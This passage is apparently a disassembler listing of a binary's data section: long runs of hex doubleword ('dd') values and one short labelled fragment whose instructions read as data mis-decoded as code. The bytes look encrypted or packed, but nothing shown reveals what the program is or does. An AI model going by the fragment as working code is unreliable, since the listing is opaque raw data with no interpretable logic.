2E95B2Bh, 0D9AFB4BDh, 9932F03h, 0F57ADE2Dh, 46E3E0C0h dd 244F5C84h, 0F107A37Ch, 3980FF75h, 607C6857h, 34900DABh dd 0FB29DFC7h, 0EDA87274h, 62BDBB07h, 5A81E956h, 309520EEh dd 1541B14Fh, 880EF06Fh, 2558E52Eh, 7AED793Ah, 87F04916h dd 0C968125Eh, 92228C26h, 7C7D4070h, 0F96B7527h, 1B8E9A26h dd 0DEEF487Dh, 52A8945Bh, 6858C920h, 2DA85564h, 79F45250h dd 52AE272Eh, 0FDB8073Ch, 0E9123E5Fh, 6C0B7D71h, 29EBB8DDh dd 5490862Bh, 42377E02h, 70B5E934h, 13505F49h, 1024B3A3h dd 3116B222h, 0E9802CC3h, 12020E24h, 0A03C9CC8h, 40CAB5FBh dd 69EB20D1h, 0CC3F54E0h, 5612F532h, 8DAB1EBAh, 6D7D6A4Ch dd 1E0A2C7Fh, 25F6E840h, 458386D2h, 0E82E6681h, 21849CC3h dd 36811C5Fh, 3F6D0A78h, 442DD1E4h, 77062C6h, 5A7B060Eh dd 0DEFCEFB5h, 9001EF4Ah, 0A0C99EA6h, 9F6DE4F4h, 7DF48369h dd 0B6EB033Ah, 2645870h, 0B93E8D0Ch, 0E275015Fh, 58080BBDh dd 0DA5701C3h, 127EE93Ah, 25216B01h, 0A507FD4Ah, 0C64CB87Ch dd 13190EE1h, 255F5EF3h, 0BCF3BAF0h, 45D4F513h, 0FB4D513Dh dd 4B763BDAh, 0A5CABDEAh, 0AD4E9BECh, 15B8809Ch, 987BAD4Fh dd 5FC43331h, 88BAEF8Fh, 0E681CC68h, 9C1D7D0Ah, 0C710AA29h dd 0D87BB38h, 1CBF716Ah, 0DF5F310Bh, 612BA58Dh, 6758C3A6h dd 0FB5B7A63h, 98D5C6E8h, 38167202h, 20DD5A2Eh, 0E98AF21Ah dd 0FCD14AC7h, 29169E29h, 42129F52h, 28D8AD01h, 61F41DACh dd 73BA9E5Ah, 22A064F1h, 76FA924Dh, 54B59477h, 29ECF816h dd 0EC626DA2h, 2D7F29FDh, 0E27F2016h, 18D949D4h, 47B2C13Eh dd 0BCF70581h, 0D716C469h, 0BFE024B9h, 0C0C069E2h, 0B05007EFh dd 38F8B14Ah, 0FDFCC35Eh, 8006E1E8h, 0C826E93Eh, 1B3875E7h dd 65EA5ABAh, 0E0ABF909h, 0C0D1FBE9h, 62F5F317h, 50B89E52h dd 2468CD40h ; --------------------------------------------------------------------------- loc_4F0044: ; DATA XREF: ___:00438124o mov dh, 50h lodsd retn 0C0D9h ; --------------------------------------------------------------------------- dw 665Fh dd 50D19F43h, 30C2B288h, 960A844Ch, 0CDD8805Fh, 6FED605Fh dd 0CA7A71EEh, 10EC7648h, 0B90496D0h, 0BBB8622Dh, 525D5BD1h dd 1484E768h, 0FD310735h, 57A08575h, 59827EB2h, 0BB06EEB9h dd 4CAD21CAh, 0AC48773Fh, 46079474h, 0A52EA11Dh, 60A4AA03h dd 7D54C87h, 3FD8257Bh, 246F9656h, 5E09C54Bh, 6805CFC6h dd 74257AE7h, 29EB0880h, 5ECD0B67h, 76E1BFE9h, 4F107E5Ch dd 4FB3D0C6h, 0E1DC6D15h, 337994E9h, 0CC70A112h, 52B0311Ah dd 0DE01394Bh, 677562CAh, 0B17B960h, 29702D65h, 5EF11460h dd 4F920516h, 5AD99BBAh, 0A4972DBFh, 63099A08h, 0F1618B2Fh dd 0DEDC38CEh, 9D590C40h, 39550048h, 0A53EA027h, 22E00AADh dd 724D07B8h, 0B4482377h, 34EDAC90h, 3CC47F68h, 89A89091h dd 8413343Ah, 0BB6FD5D3h, 0E22F5C39h, 0A75A2438h, 0A44FCF0Eh dd 0AD801C90h, 173F748Dh, 12F831E4h, 0E93D0252h, 37F3FCDCh dd 0DFB493BDh, 688A1658h, 32025EC4h, 0CEFF5F10h, 0E33020B4h dd 1EFE0130h, 2A7065C6h, 97F4414Dh, 0F232E5CEh, 84D631E4h dd 0B2CCB2BDh, 1D69BF42h, 6F6BCA5Eh, 25195CD9h, 38252171h dd 0B58724BDh, 49125152h, 2926EB53h, 0B28D642Dh, 0DC40775h dd 16E96B3Bh, 0B802D3E8h, 1C3D661Eh, 9855C196h, 9A058176h dd 0AA4FE56Bh, 9961FE07h, 0FFED83C0h, 0D0165FE9h, 7B1C95BFh dd 65D20864h, 405D15D8h, 0E803D1E2h, 0EA20B725h, 2FE44D10h dd 0C922A25Ah, 7097DCC5h, 14200AD4h, 0F0682778h, 96750CC8h dd 0C0E31D3h, 98010BEDh, 53193EFh, 0DF095975h, 2892045Bh dd 8EC3AB07h, 67FFE4FCh, 8F56A202h, 83CA1A75h, 51B5EF1Eh dd 0BA0029D7h, 612E3109h, 4F510C13h, 0D3D07095h, 63A8324Bh dd 49C9BA96h, 0C14279F8h, 0B568EB1Dh, 14CC6B17h, 67CB5895h dd 16245989h, 2E6DE16Eh, 1A10E8E7h, 595F26BEh, 0D60CFE1Ah dd 4609BC83h, 0F90F545Eh, 0BBA01E87h, 435AC650h, 1520B785h dd 4F2B688Bh, 804DAC2Fh, 515FCEEh, 486B9034h, 16049D0Eh dd 0EAD91CE9h, 0C4EE2F64h, 1BC9B3D2h, 1E25163Dh, 9270273Ch dd 0BDB9F0DAh, 0AA106F00h, 0F7E5D122h, 0EC6813D5h, 41E2CD2Bh dd 3E1D5468h, 2D50DE14h, 256BD9B8h, 485A1FDCh, 5BE95505h dd 8097C389h, 65E3CCBh, 662D2CBCh, 65EA055Fh, 6468AF90h dd 0D2175C38h, 8AE62D2Dh, 2F81505Ch, 5809090Bh, 60CD3DFCh dd 44D52112h, 0EF5FF9A9h, 473CE3D0h, 0BC454E55h, 67EBE55Fh dd 2C1725Ah, 0F42DB667h, 0BDA0BD38h, 44557EA2h, 18365DBDh dd 0E06B875Ah, 0FB5E11E1h, 0A82060B0h, 203498CFh, 5A096D39h dd 3961C968h, 69675C2Ch, 3BDD392Ah, 0F69A45B1h, 0EA020E8Ch dd 68186DC7h, 295B4F38h, 0AA801F4h, 79DDC253h, 9E4AE259h dd 20C21EFDh, 7B98EEF9h, 0AF6EF50Fh, 0FB196464h, 9139A7BFh dd 0F8E983A1h, 910987ADh, 8C80818Ah, 4A9F545Dh, 3858428Fh dd 45C4738Eh, 0E0C2D301h, 0E8ABCBB5h, 13FF05B9h, 9DD096Ah dd 0E6D87424h, 532830BDh, 2C683851h, 28FC7831h, 0EEC18121h dd 160A15Fh, 1DB90270h, 0D370DF5Eh, 80B10F3h, 7F100B58h dd 5BB58EFh, 6C69642Dh, 0A52816C2h, 63AB50DCh, 81F951F7h dd 0C16997C0h, 0F97AC5EDh, 0C4D1D47Eh, 0EB8B1296h, 4E5C9668h dd 0BEE641CFh, 407F7E5Dh, 0F762A8BBh, 53E91C0Bh, 0C23A5FEBh dd 0B7EA884h, 0EE34E031h, 436E2411h, 10CE128Fh, 0F04308F0h dd 3D196285h, 0F0B700FEh, 0C8C18EEFh, 46924B84h, 74C0E082h dd 3A5E38EDh, 2008513Fh, 0EEB5B0A9h, 62C2F663h, 5E58B8F0h dd 1B4140E0h, 173511Dh, 820D8ACh, 205DECB7h, 89245694h dd 2910A1C1h, 1DAF717h, 761D4AC7h, 0E3F2D86Eh, 1E955C19h dd 0CD60FF0Ch, 9224C14Dh, 2B5B9D24h, 0CEAE0DC4h, 961D5897h dd 0A0F5FB22h, 1499BA88h, 0B80B1D3Dh, 58F061Bh, 3E84831h dd 0CCFC514Bh, 0D30E9774h, 0D712BDF3h, 0C2A4A4E8h, 0B055FD56h dd 80D1141Bh, 7C9DD388h, 0B1DCC7EEh, 0FD5158E2h, 2008E1D1h dd 7B405268h, 42602568h, 0FD00BAC6h, 0BF4CAE38h, 4C5F6E8Ch dd 0BB5B556Dh, 0C2FBF524h, 39F0E65Ah, 6E1AB62Fh, 84F8982Dh dd 0B51B3885h, 4A2EFF4Ah, 0B144E84Ah, 0B058437h, 0CA78AF02h dd 0F8E6C125h, 0EC30F59h, 0A4CBF677h, 5725267Eh, 0E97D4A9Ah dd 0E3CC019Dh, 3E0CC4A4h, 0A0E7FF20h, 884ADE39h, 290BBF8Ch dd 825F8D3Ah, 2F2B63Dh, 0F85257h, 60F4C9F7h, 514BCAB0h dd 78535E88h, 0F5525F22h, 16080577h, 21BF4160h, 644E5DEEh dd 371C6C0h, 0D477CC32h, 0AF607F04h, 0AD5B5F80h, 9C253F4h dd 3786932h, 0C8084FDEh, 0D3290B63h, 0F1D9B37Fh, 1D892B82h dd 0C4D258C7h, 0BB64F765h, 0BFB9DD04h, 8BAAC1Dh, 0CA286188h dd 4D1BE606h, 0E00C11BEh, 4C5F2E0Ah, 1E078E12h, 0B9A05609h dd 2F9A3D46h, 385742C5h, 0F8603EF6h, 1AD721E2h, 8209EB1h dd 95BFD09Fh, 1C9EE7Ch, 0C655029Eh, 191805EFh, 0BA7A8874h dd 0E93140D7h, 0A67AF5ADh, 0B989C43Dh, 0BF0F5C00h, 3C3868C8h dd 2CFA4A7Eh, 435D5137h, 0DFE51720h, 12411D0Eh, 70EB41B0h dd 901C921Ch, 0DD7E2099h, 2DDA6817h, 0C19ACCBDh, 0EA8BF0C1h dd 0E5FD735Fh, 6FA5BE53h, 0F81B9F02h, 0DD2D6B4Eh, 542C03F5h dd 0D8B2E306h, 13452A1Ah, 0ED05E93Dh, 0B3C60732h, 7B9E70Fh dd 8EE4061Ah, 0D1B47E93h, 1DE4E328h, 82E89AE0h, 5A2B75A1h dd 0E9D07ADEh, 9D147042h, 4BC260F6h, 40BCD147h, 2D12ECE2h dd 35391348h, 68EB229Ah, 0E912D3D1h, 12C971ABh, 0A0A7843Eh dd 5E9D951Bh, 786AC1Eh, 3B7B89B7h, 0FBBB89DFh, 437CAF7Dh dd 4DD868C1h, 0ACC53E2Ch, 9333EB37h, 9F091881h, 0E95D4604h dd 0F6F02E2Dh, 0D04765BCh, 8EDC16Dh, 2676575Ch, 0E7CBB292h dd 482709FDh, 9F29F6C6h, 0D001D172h, 4E73E340h, 0EE0EEB30h dd 0E90C0B47h, 2C4E6E09h, 5D4A0F90h, 0C987EA0Ch, 679F62C5h dd 2F7AB81Dh, 3A52A620h, 0AE987FBEh, 782D6C0Bh, 2958B026h dd 0C8F6D840h, 3ED0FDA4h, 0D4FAF36Eh, 0BB4527F9h, 3F14D183h dd 0A5AFFD1Ah, 0AF7A44D1h, 87D79FD0h, 0AF514EFAh, 0E909A62Ah dd 0BBD7DEE7h, 0FDE0DA6Ah, 0CDD72009h, 206884DEh, 3598FE45h dd 18021812h, 0FDF2D817h, 0F5E8E73Fh, 8E845E4Eh, 82ECA3EBh dd 5FF532E9h, 38644619h, 13533F4Bh, 9CFFE89Eh, 0D4FACB74h dd 6A408D5Fh, 13ECC057h, 4F53BD31h, 0E9F0093Ch, 892326A0h dd 57562038h, 0E3F9938Bh, 536601ABh, 2B2020EBh, 0CCA3507h dd 2F5078BFh, 0A2766B14h, 3B1F89Bh, 0E2EF6CBDh, 0DCA5012Bh dd 1F40C365h, 4F62EC54h, 0A2AB670Eh, 65D7E565h, 24121A70h dd 4FD6D1F5h, 0E8E52E8Fh, 462CEB36h, 30605F6Eh, 5A568C98h dd 4121782Ch, 293AB10Ch, 202D5DEAh, 5578483h, 5F9CB02Fh dd 5AEC01Ah, 5C038508h, 83EAF280h, 9D8142D3h, 104150Ah dd 6859071Ch, 0F7BEBF0h, 6448716h, 4EF4D45h, 2B19DA7h dd 0D7BAB551h, 0FA300840h, 0FDBEDDFAh, 9FAB5816h, 0F3924B67h dd 0CDDA8255h, 0E2D20E97h, 0D9DD84EEh, 4AEFF2AFh, 66DA14C1h dd 9ADDFB5h, 0E671FB43h, 3CC05398h, 4B0580DCh, 0F12500Bh dd 764C832Dh, 14D5A807h, 291D0A22h, 3A0705F8h, 1B0711D5h dd 0E6357EF0h, 519E6Bh, 65716077h, 184D4D68h, 4C91968Ch dd 0DD7E5A5Dh, 46A86BF0h, 0BE580FA8h, 473A13AAh, 6BCE02CCh dd 0CF02CAB5h, 0BE07E6E4h, 26D474F1h, 16F92470h, 0FD7F9B53h dd 84086997h, 5F047259h dd 3E4BD952h, 0A368F6D0h, 0F4E98013h, 3D27CC5Eh, 44E26682h dd 32AF05D2h, 16B96F18h, 23F0005h, 29687E4Ah, 805D941h dd 0D58812A8h, 1AE3E2B0h, 0E1465C58h, 0B407F128h, 16C8037Ch dd 0C012908h, 4F2267ABh, 0F161CF01h, 800C0806h, 5E6BE914h dd 79CDF34Eh, 4276859h, 28FDEA80h, 0AC3688FBh, 5358440h dd 95739DBBh, 0F6E2EF50h, 4D5EB697h, 0ABC3C5DCh, 62BE6DBBh dd 4901D349h, 73BE3213h, 0BE327A61h, 1CDB0175h, 7AE9F8C4h dd 65A6D07h, 76E8685Dh, 0A7082771h, 0E66229F4h, 935DFC05h dd 36DA0228h, 28C2CE18h, 586B26DFh, 0F86DED38h, 4B02C21Eh dd 0D356BCBFh, 0FDFCCA72h, 1E423D51h, 58015AE2h, 90027102h dd 2950B912h, 95228155h, 0ED000104h, 61173DDCh, 0D035898Ch dd 0DFD2C01Ch, 9100B9DDh, 67C4680Ch, 72A20C0Ah, 307066C3h dd 0C0846E5h, 92E91480h, 0DFBF3553h, 5B7D7C8Ch, 48309EDh dd 105C14E5h, 0BDA4062h, 0CF84207h, 0BD09C3B7h, 0D70983ECh dd 45DD8F4Ah, 3C2DC02Bh, 104E351Ch, 754BB7B6h, 0A4BF0A23h dd 6C547223h, 7F776002h, 35DC66h, 4C8BF57h, 0E89533B5h dd 9F022B9Bh, 8020ED1Eh, 0F0FFB8D0h, 12020670h, 12F75A06h dd 48F1C903h, 0F9561049h, 212D6EFDh, 0FE92D8Ah, 0F3EB18FCh dd 562D14DCh, 0E54E7BCAh, 0CA9FAC5h, 0D7C4B4Fh, 0E8710263h dd 60BD2B0Bh, 3FCA575Dh, 5ED28BD5h, 0D8A44F38h, 0F9F01740h dd 0CFF63D11h, 2EA97F90h, 46091F51h, 88F9FEC5h, 801E50C0h dd 0EDCE839Dh, 0DCF5C703h, 20E888C3h, 5A1CE66Ch, 0CA99D130h dd 3D60C008h, 0A8B33A53h, 0B4E34B93h, 0C667B27Ch, 3532BAB4h dd 0E28FDF87h, 0FB04066Bh, 8B65BB31h, 0C5611EB1h, 0FF82937Fh dd 0E477CA4Ch, 0F24F30E6h, 2F88582Ch, 716710h, 0CB49BA52h dd 709FE585h, 0B567A08Dh, 0B7FF9012h, 80A604Ah, 4C3613C0h dd 0F9825BD7h, 0BA48F5F2h, 525CC092h, 243F5368h, 909408Ah dd 310042D2h, 722F6246h, 0FE4FE926h, 3E085493h, 0CDAFA598h dd 9D831CE6h, 7CE3B509h, 0CDCB00DBh, 0A032EC16h, 121112DEh dd 0A1011B23h, 0E9080057h, 399760D6h, 3FF05107h, 0DE67CBD7h dd 25AECC77h, 731828A0h, 6A9F6F69h, 5EE8DDBEh, 0B0842ED7h dd 5174074h, 65341B0Fh, 0D4D25F71h, 4CC195DCh, 0F30364E3h dd 0A379D518h, 98E9800Bh, 2598F5F0h, 7047762h, 2C23687Bh dd 643542E3h, 0EA95081Bh, 91AE5616h, 8F9DF9DDh, 8C02EB69h dd 0FA0772DBh, 62F16426h, 0A0B0FC5Ch, 0B943B468h, 0CC2ACECh dd 28C62F4Ah, 5DDB84BFh, 0C14AD7F3h, 5D0389EDh, 20D43B9Eh dd 771EBB81h, 525D5F00h, 42685100h, 597A7D6Dh, 0B5E150C1h dd 0C524606Ah, 0EF46E5BEh, 0CE816D0Fh, 3657A139h, 0E9ECDEF7h dd 99D695E7h, 755B5442h, 0A681129Eh, 0DCBE02DEh, 2C62A7F4h dd 0BB05EAE6h, 331B6141h, 454AE5BEh, 0BD74C066h, 46E1DD2h dd 675A927Ah, 125618Ah, 0F3685017h, 442D505Dh, 250E545Fh dd 0E502BB7Bh, 40624E7Ah, 2557FE99h, 83F43060h, 236EE904h dd 32D30D01h, 57A06F63h, 9554C01h, 2DC6E22Bh, 4745E6D4h dd 1AB820D0h, 63820D27h, 0FC0B3EBAh, 469FD1CAh, 69583039h dd 1512CDCFh, 81817B3Ah, 3D3A6D26h, 84E7C1E9h, 0CD39E2FEh dd 0C73F1D7Ah, 0A2382ABh, 0A10BC2E4h, 0F654471Fh, 50013B09h dd 0B1E914DFh, 5C317AAAh, 0BD2BF7CFh, 23037252h, 5FA8801h dd 52958908h, 24E92E60h, 0C07158CCh, 3E8D1929h, 0E91046BAh dd 1F5F8CB6h, 4CC49099h, 0D097402Dh, 0C1C7FD6Fh, 4FE52B91h dd 71F613EDh, 0E0239F07h, 0A6805A3Fh, 5389AA4Ah, 0CBC7F554h dd 0E086E989h, 4BC78049h, 4B8DF3BBh, 0A0AAD984h, 0A39028E4h dd 92068A6Ch, 3741C6A3h, 560B76B0h, 5B113468h, 81410469h dd 0D34CC039h, 5A4BF13Eh, 0A4547380h, 82FC9F5Bh, 2D8047ACh dd 2AE94136h, 0FAD197ECh, 5FFCD14Dh, 0A7C4BDE3h, 0E366792Ah dd 1002EE4Ch, 6809F394h, 6454312Dh, 5DE8D762h, 528F4AD3h dd 0E59FC450h, 0AED338E8h, 7019C88Ah, 3FBDF586h, 0B82E00E1h dd 0B9E9E114h, 47B922Ch, 0A556DDF7h, 0D994B148h, 6CF7C2CEh dd 313CBA92h, 0CCBDB294h, 0AD4BBE3Dh, 93A1FB47h, 65871750h dd 0E044BAA8h, 81024561h, 37F97F6h, 0E9F329CCh, 0CE6E6BCDh dd 31522F26h, 0B27A5A63h, 96C8D601h, 0A9789559h, 2FA7BA6Fh dd 15DAB68Bh, 4930680Bh, 0E9423653h, 0BF6CD864h, 0D1842D15h dd 60FB40E0h, 2D5DE810h, 0FEDB0C0Fh, 0FCC28945h, 0F8CE0893h dd 0CFBB5F16h, 5849259Bh, 72F3953Bh, 945108Bh, 0BE361026h dd 0C7C5CE5Eh, 0FE3625E5h, 9D147264h, 2ABAB01Ch, 1F4B2D38h dd 0A21E0ED6h, 0A216DF65h, 92FEE0B7h, 34B12762h, 871CD1D3h dd 42FC79ADh, 0D7096853h, 8EC82E81h, 0F7C24384h, 0A03BC194h dd 71090553h, 81897C9Ah, 3E4C72C7h, 84E4ED2Bh, 5F8C6817h dd 313A32FBh, 1E253F7Ch, 85049ADAh, 86C2F7Bh, 24CA4E59h dd 0B48CD0C0h, 16C2EFF9h, 0FF5A0A8Bh, 2B58B98h, 68381C1Fh dd 1B467AE8h, 584EF5BAh, 0E7BFCDC5h, 5DD42DFh, 6E18683Ah dd 2766EB9h, 0E9793455h, 0C6C41E08h, 0BD414C3Eh, 3838A63Ch dd 59CB3184h, 3FD44783h, 0AD98E079h, 0C72D0E6Ah, 56AB6813h dd 63DB5701h, 0B57A1766h, 74080436h, 6831AE98h, 5D2A0BA9h dd 991BCBD5h, 649067C4h, 84C8EE5Dh, 9BBC1CF1h, 0DF0C9698h dd 0C2607F82h, 0B6727A32h, 0C22E809Fh, 604926F1h, 0A2D0C77h dd 0E9132506h, 7A8945B8h, 0D181A82Ah, 0AD5710A7h, 3CA28924h dd 79139A70h, 59CD2F58h, 0E10B83D6h, 2F83C88Ah, 21C13046h dd 6E5BCA7Bh, 2EFA3Bh, 0C74864F2h, 5A95E9FFh, 16ECA7D3h dd 0B2577168h, 0DAA112F8h, 0F25D037Eh, 60ABD9CAh, 98455BC2h dd 1231F8BDh, 0C0D57DCFh, 4F0A9601h, 0EA4E09F8h, 0F40D4546h dd 0F7401ED8h, 0B3A608D0h, 0B70B5B16h, 0C44476FDh, 3A8FC50h dd 8B0B3E05h, 7C371208h, 0C29B40D5h, 7D7061E2h, 10D25E52h dd 6809BCEEh, 0B4F72265h, 0C7CE9753h, 0EEC99097h, 0D7C28242h dd 0B4C2BA84h, 0EDE687BDh, 0FEC71E4Bh, 0AE04D003h, 67E92F3Bh dd 58A2A075h, 411A280Ch, 35FCF901h, 92E678CBh, 8627100Bh dd 17987BB4h, 1D1170A8h, 5EC45068h, 4CC551ADh, 0CEA9F8ACh dd 9281B3D7h, 0BE00A9ADh, 0FF0927D2h, 5E6C13Bh, 0F6B8B5EDh dd 125CEC4Fh, 6789F092h, 0AFF89693h, 92964729h, 57B36116h dd 0E79A483Fh, 3496101h, 0DA591E2Dh, 5087E9DCh, 13236A3Bh dd 77CAC0Fh, 0B7AF870h, 47DE45FDh, 1BC7492Ch, 9B9DC3Fh dd 7761BE68h, 28CBB39Eh, 0ECB07F58h, 4ABFC040h, 0E5B60FCh dd 0FA28E41Ch, 54E297B0h, 32F6B25Fh, 0CFE65781h, 21C6816h dd 3816FBF3h, 0CD4ECC4Ah, 19D8CA4Ah, 0D2105F58h, 0FDABD4FBh dd 41E0BA55h, 0FE7212F4h, 0B8194C04h, 1240FFDEh, 0B1050FEAh dd 9EDFEECh, 35465513h, 51087156h, 0FFFA9416h, 0BDB63F16h dd 0C1C23C75h, 0F02FC0D9h, 954F610h, 0F4B8DF84h, 671F9309h dd 80AE7D42h, 0E01D076Dh, 9F160264h, 0DDF82988h, 0ADB2C630h dd 6398273Dh, 79DAEE04h, 0D8FE05ECh, 9C4DE9BBh, 0F45D2D59h dd 1F0124BAh, 337E808Ah, 3E15B951h, 0E90E9104h, 8590A1FBh dd 607242DDh, 675B2057h, 9F2884h, 2485E136h, 0E975096Ah dd 83E803F5h, 5881F204h, 0D4BCB52Eh, 0FF4A16AEh, 0C0D44BAAh dd 0B7686623h, 0B4A3ACC4h, 199900EBh, 4B7B6366h, 2CE750B5h dd 0AC29339Eh, 2B42043Fh dd 2CDF8659h, 5C521406h, 82E436Eh, 60D9E9DBh, 60FE5F16h dd 553D685Ah, 1785539Dh, 0FEEAA4EAh, 0B9D5C89Fh, 8E8DB486h dd 306E6CE2h, 49050FBFh, 2E1FB1EDh, 0DD050FBCh, 0DD53546Dh dd 0B40D4040h, 7F4AB84Fh, 8B110BFh, 0B40CFC5Ah, 5B9D8FEFh dd 41FF27AEh, 2F3A6168h, 9CDF28B9h, 30772F2Bh, 83E385BCh dd 0EFA9FDA9h, 48E68EE4h, 80E2205Eh, 0C0144788h, 3EE8C7FDh dd 6B905CA6h, 3CE36FEFh, 80535DC5h, 0C53D0773h, 0F5BB4E0Eh dd 54E53E98h, 79F38449h, 0C680BA12h, 9A84E955h, 0D058BDA2h dd 0E29F24F0h, 0E2345F9Ch, 487D7A20h, 87256752h, 4F20CB94h dd 6C6816A8h, 0C1A2BC35h, 0DC7F54B9h, 0A8B94121h, 28BF1201h dd 62D58955h, 928D18E3h, 97403141h, 3AFC6246h, 739D3B70h dd 768A3145h, 0D7A16DD0h, 556A45EFh, 0F7B5AC25h, 0E6E8ABF2h dd 4A63A0D4h, 40D52574h, 312D43F0h, 0C01AFEFEh, 0E30123F6h dd 9F55448h, 82F82C3Fh, 5CBECF21h, 0A756240h, 76C8F120h dd 81565F2Eh, 7045BE3Ah, 5C9729A2h, 430502B6h, 32567890h dd 8E1DAC4h, 0BA0D6C2h, 0B26610A7h, 0DF52E8FFh, 82AA24D2h dd 4800022Fh, 970B5BD4h, 682DEDDCh, 0E153D0DDh, 0B7D3982Eh dd 0F297087Dh, 0E568CECFh, 8449F232h, 0AC0934C3h, 0F2293AD8h dd 0B3DBA67h, 0D93DB853h, 0DBC9622Dh, 0DAC08804h, 75010B5h dd 0E5283AB4h, 0C7D50558h, 0C75A851Ah, 8E9C21Bh, 683E3750h dd 0AE47621Dh, 8ED071DCh, 4CAB4F7Eh, 0CF817EF6h, 15B17830h dd 80220D70h, 9BA2D828h, 738B095Dh, 808D9618h, 76446844h dd 274FF53Dh, 0B3038045h, 1FB7536Eh, 138FB189h, 0FB65851Bh dd 0B6CEBA8Ch, 0F468252Ah, 7B0A6122h, 0D4F06842h, 78D1E989h dd 0C0B0BF24h, 0DB9D01E0h, 4292BD43h, 56FE40AAh, 0A2174EBEh dd 0A5BB5209h, 0BE82DD0Ch, 0C6F7FA44h, 0C77120BEh, 0CE30E5A0h dd 1654B480h, 0FB87CC80h, 0E12D2B20h, 11102541h, 2507D488h dd 0E93C3075h, 12F69E91h, 7FBAB053h, 1810740h, 390A1FC2h dd 20EA0149h, 5A024694h, 21E96563h, 0C0D8A0CFh, 0F4725655h dd 6A734109h, 265647A9h, 1CA01E10h, 519D4E66h, 0F5FB904h dd 0C1024C82h, 1D33C12Dh, 0BAA45431h, 5AD2F023h, 0C4CEF0C7h dd 57C77D09h, 5632E98Bh, 1455255Dh, 0F83A5A15h, 38BA5EA2h dd 0E8820193h, 80BF0F96h, 5790C380h, 72FBEB2Fh, 9052EA85h dd 0EA755E68h, 0C012152h, 4DF032BEh, 3E606561h, 830D94D0h dd 2ADA1EE4h, 0A4661FD9h, 123C356Fh, 8BFDE290h, 9E48C8DEh dd 8CAE5E2Fh, 0E1FB5402h, 0DE64CC0Fh, 932C6526h, 2C018822h dd 4417286Eh, 0FFB17368h, 2617C220h, 13CFC0Dh, 0AE6A33EFh dd 70CFFD47h, 68805782h, 0CD725FA9h, 0F4B907A3h, 64FE578Ah dd 0B980D006h, 0E91362F0h, 72ADEECBh, 0F312D81h, 0F8BF60DEh dd 5F070550h, 0E8205997h, 94E961FBh, 0D6A73B7Ch, 39B97560h dd 334CF253h, 7E6A0741h, 0E9677DC5h, 6FC35581h, 5FE8B2FFh dd 5E7D2A2h, 0A8F7E684h, 6DBDF5B6h, 0DF596218h, 0F5722C58h dd 56309E2Dh, 3FDB42CFh, 0A04DD0F9h, 96C68C20h, 0DF290126h dd 605FFB87h, 0C1745BCh, 31C51026h, 3802A685h, 6036213Dh dd 0CBADFC5Ah, 900C337h, 4D443CB4h, 69FDFCB7h, 383C8E0Eh dd 0E1ABFC5Fh, 0BA07A5CEh, 20C036F8h, 0C0B70F12h, 2D12EF08h dd 0E9783AF6h, 110B699Dh, 862070FAh, 0B4665F75h, 6B40FCCAh dd 0FF30EB9h, 0CD410629h, 0FC505859h, 3A9AAE17h, 0B5EBF29Dh dd 0DEFEFF64h, 76934A5Bh, 0D0999CA1h, 1C63ED6Eh, 0FD2D651Dh dd 32D71E32h, 78E7D7F4h, 0E9055F25h, 5C84444Ah, 0A5DBAD21h dd 0D7B8AAAh, 10DEEFE9h, 5C999540h, 0D464E36Ch, 30035F8Bh dd 3364E952h, 25BDA09Dh, 5AFE046h, 0F51654BEh, 0D312AB21h dd 140584B0h, 0CC681392h, 82E9D00Bh, 0E425B4AFh, 4161EF2Bh dd 356FEC45h, 6437EEF6h, 9DFF50ACh, 0FE9D42CEh, 400BC970h dd 5012C0F1h, 0C1F49CE9h, 57102FBh, 2004E1BAh, 0C891C0FFh dd 92E5EFA0h, 0CEBA56F3h, 0C8335E1h, 54C4130Bh, 4C75EBA1h dd 30594E64h, 4FEDE970h, 10BC3BE1h, 0B16EF1h, 57D8805h dd 0C8015B42h, 6007142Dh, 8016F420h, 0CE0F43F6h, 4E04645Ah dd 9FA930EFh, 617D9B1Ah, 5FE57227h, 8B8BFD1Ah, 0C9907EF2h dd 0F1198F66h, 4D78494Ah, 704D6547h, 0E2D81ACBh, 0C96A599Dh dd 0E9CC18F5h, 4DEE4AFBh, 203973A9h, 0B1FCF2ACh, 7B95E1B2h dd 0D2F3EC0h, 7D6751E8h, 9F7649CAh, 49015996h, 9248585Ah dd 13E6002Bh, 21759D1Dh, 0E238409Fh, 77319CBh, 82E3F064h dd 0D7296526h, 2B0CC05Ah, 0F231FE72h, 0A3C7F0F7h, 0E60C0508h dd 0C9695853h, 9584451Fh, 8BDDAECEh, 0B14FA9F4h, 0D00A4BAEh dd 96CCADFDh, 18914A25h, 8035D0A0h, 381696BAh, 23BB544Dh dd 81884AC5h, 1F0C57F2h, 0E4274C6h, 7266354Bh, 9005AEC8h dd 0C7E4CAFDh, 0A471294h, 0ED92E051h, 565E08A0h, 122E92Dh dd 7CE4804Ah, 0B520C4CCh, 1A09DD02h, 1402FF09h, 0D35DC85Fh dd 0F1973DA5h, 205B473h, 0F78CF35Eh, 0BFAE7F68h, 37E96898h dd 5817F89Eh, 0E44A4B8Bh, 75314A3Ah, 5727302Eh, 5E7EBF00h dd 2EC5E451h, 6C00DFE7h, 25114679h, 0C90012A3h, 2DD8F728h dd 0ECB7FF7Dh, 0C3F524E9h, 60B8891Ah, 4E8847F1h, 2642CC4h dd 58E388D2h, 868B6EE0h, 0C2FED319h, 8841D008h, 4000E21Fh dd 0B0FABA05h, 0D5011825h, 5045414h, 3FB05B82h, 0B9587AD1h dd 0BE725F03h, 2D08C760h, 130D3B89h, 0F1F3E933h, 0CB472024h dd 0C0D0BA5Ah, 904347C6h, 0F72D28F0h, 713C090Bh, 2E003F56h dd 669B7F84h, 1E1E910h, 1A745C2Dh, 0F10A8A6Fh, 0FB2D4087h dd 6860D9C0h, 69065B25h, 2EEED97Eh, 0E917348Bh, 0A5D1BA0Ch dd 51216C2Eh, 76710C80h, 0E5E94E67h, 0BD3F9E9Ah, 5D6A030Dh dd 0F879F581h, 74E90FABh, 3EE79F54h, 0D232133Fh, 5981F9A8h dd 3B57AA68h, 2DC0D7E2h, 7DE064F0h, 87DB40B7h, 25DE9DC6h dd 0B575254Fh, 802175FFh, 7EC6800Ah, 13DEEE6h, 0D6097EFEh dd 0FA0DB2E9h, 2FC578DCh, 2E70AABh, 444D133Fh, 0EB7CE1C9h dd 7C55E05Eh, 6AD93A12h, 0DAF44FE1h, 99D4B756h, 952069A8h dd 6968122Fh, 86ECCC4Fh, 44C40F00h, 6A83CF81h, 0ED2D4B87h dd 685305FBh, 182064D0h, 7883B804h, 72FB4837h, 0C2D9D227h dd 6AB7D1A5h, 7FE01878h, 85910ADBh, 0FED5B480h, 7FEC80CCh dd 143BDC60h, 